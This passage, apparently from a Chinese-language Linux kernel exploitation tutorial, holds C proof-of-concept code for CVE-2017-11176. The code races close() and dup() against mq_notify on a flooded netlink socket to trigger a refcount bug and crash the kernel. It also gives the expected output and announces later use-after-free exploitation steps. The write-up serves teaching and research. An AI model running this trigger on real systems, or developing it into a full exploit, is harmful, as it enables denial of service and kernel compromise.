(_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))     perror("[+] setsockopt");   return NULL; }  // ----------------------------------------------------------------------------  static int decrease_sock_refcounter(int sock_fd, int unblock_fd) {   pthread_t tid;   struct sigevent sigev;   struct unblock_thread_arg uta;   char sival_buffer[NOTIFY_COOKIE_LEN];    // initialize the unblock thread arguments   uta.sock_fd = sock_fd;   uta.unblock_fd = unblock_fd;   uta.is_ready = false;    // initialize the sigevent structure   memset(&sigev, 0, sizeof(sigev));   sigev.sigev_notify = SIGEV_THREAD;   sigev.sigev_value.sival_ptr = sival_buffer;   sigev.sigev_signo = uta.sock_fd;    printf("[ ] creating unblock thread...\n");   if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)   {     perror("[-] pthread_create");     goto fail;   }   while (uta.is_ready == false) // spinlock until thread is created     ;   printf("[+] unblocking thread has been created!\n");    printf("[ ] get ready to block\n");   if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))   {     perror("[-] mq_notify");     goto fail;   }   printf("[+] mq_notify succeed\n");    return 0;  fail:   return -1; }  // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================  /*  * Creates a netlink socket and fills its receive buffer.  *  * Returns the socket file descriptor or -1 on error.  */  static int prepare_blocking_socket(void) {   int send_fd;   int recv_fd;   char buf[1024*10];   int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF    struct sockaddr_nl addr = {     .nl_family = AF_NETLINK,     .nl_pad = 0,     .nl_pid = 118, // must different than zero     .nl_groups = 0 // no groups   };    struct iovec iov = {     .iov_base = buf,     .iov_len = sizeof(buf)   };    struct msghdr mhdr = {     .msg_name = &addr,     .msg_namelen = sizeof(addr),     .msg_iov = &iov,     .msg_iovlen = 1,     .msg_control = NULL,     .msg_controllen = 0,     .msg_flags = 0,    };    printf("[ ] preparing blocking netlink socket\n");    if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||       (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)   {     perror("socket");     goto fail;   }   printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);    while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))   {     if (errno != EADDRINUSE)     {       perror("[-] bind");       goto fail;     }     addr.nl_pid++;   }    printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);    if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))     perror("[-] setsockopt"); // no worry if it fails, it is just an optim.   else     printf("[+] receive buffer reduced\n");    printf("[ ] flooding socket\n");   while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)     ;   if (errno != EAGAIN)   {     perror("[-] sendmsg");     goto fail;   }   printf("[+] flood completed\n");    _close(send_fd);    printf("[+] blocking socket ready\n");   return recv_fd;  fail:   printf("[-] failed to prepare block socket\n");   return -1; }  // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================  int main(void) {   int sock_fd  = -1;   int sock_fd2 = -1;   int unblock_fd = 1;    printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");    if ((sock_fd = prepare_blocking_socket()) < 0)     goto fail;   printf("[+] netlink socket created = %d\n", sock_fd);    if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))   {     perror("[-] dup");     goto fail;   }   printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);    // trigger the bug twice   if (decrease_sock_refcounter(sock_fd, unblock_fd) ||       decrease_sock_refcounter(sock_fd2, unblock_fd))   {     goto fail;   }    printf("[ ] ready to crash?\n");   PRESS_KEY();    // TODO: exploit    return 0;  fail:   printf("[-] exploit failed!\n");   PRESS_KEY();   return -1; }  // ============================================================================ // ---------------------------------------------------------------------------- // ============================================================================

预期输出:

[ ] -={ CVE-2017-11176 Exploit }=- [ ] preparing blocking netlink socket [+] socket created (send_fd = 3, recv_fd = 4) [+] netlink socket bound (nl_pid=118) [+] receive buffer reduced [ ] flooding socket [+] flood completed [+] blocking socket ready [+] netlink socket created = 4 [+] netlink fd duplicated (unblock_fd=3, sock_fd2=5) [ ] creating unblock thread... [+] unblocking thread has been created! [ ] get ready to block [ ][unblock] closing 4 fd [ ][unblock] unblocking now [+] mq_notify succeed [ ] creating unblock thread... [+] unblocking thread has been created! [ ] get ready to block [ ][unblock] closing 5 fd [ ][unblock] unblocking now [+] mq_notify succeed [ ] ready to crash? [ ] press key to continue...  <<< KERNEL CRASH HERE >>>

从现在开始,直到exp最终完成,每次运行PoC系统都会崩溃。这很烦人,但你会习惯的。可以通过禁止不必要的服务(例如图形界面等)来加快启动时间。记得最后重新启用这些服务,以匹配你的“真正”目标(他们也确实对内核有影响)。

结论

本文介绍了调度器子系统,任务状态以及如何通过等待队列在正在运行/等待状态之间转换。理解这部分有助于唤醒主线并赢得竞态条件。

通过close()和dup()系统调用,使第二次调用fget()返回NULL,这是触发漏洞所必需的。最后,研究了如何使netlink_attachskb()返回1。

所有这些组合起来成了最终的PoC,可以在不使用System Tap的情况下可靠地触发漏洞并使内核崩溃。

接下来的文章将讨论一个重要的话题:释放后重用漏洞的利用。将阐述slab分配器的基础知识,类型混淆,重新分配以及如何通过它来获得任意调用。将公开一些有助于构建和调试漏洞的新工具。最后,我们会在合适的时候让内核崩溃。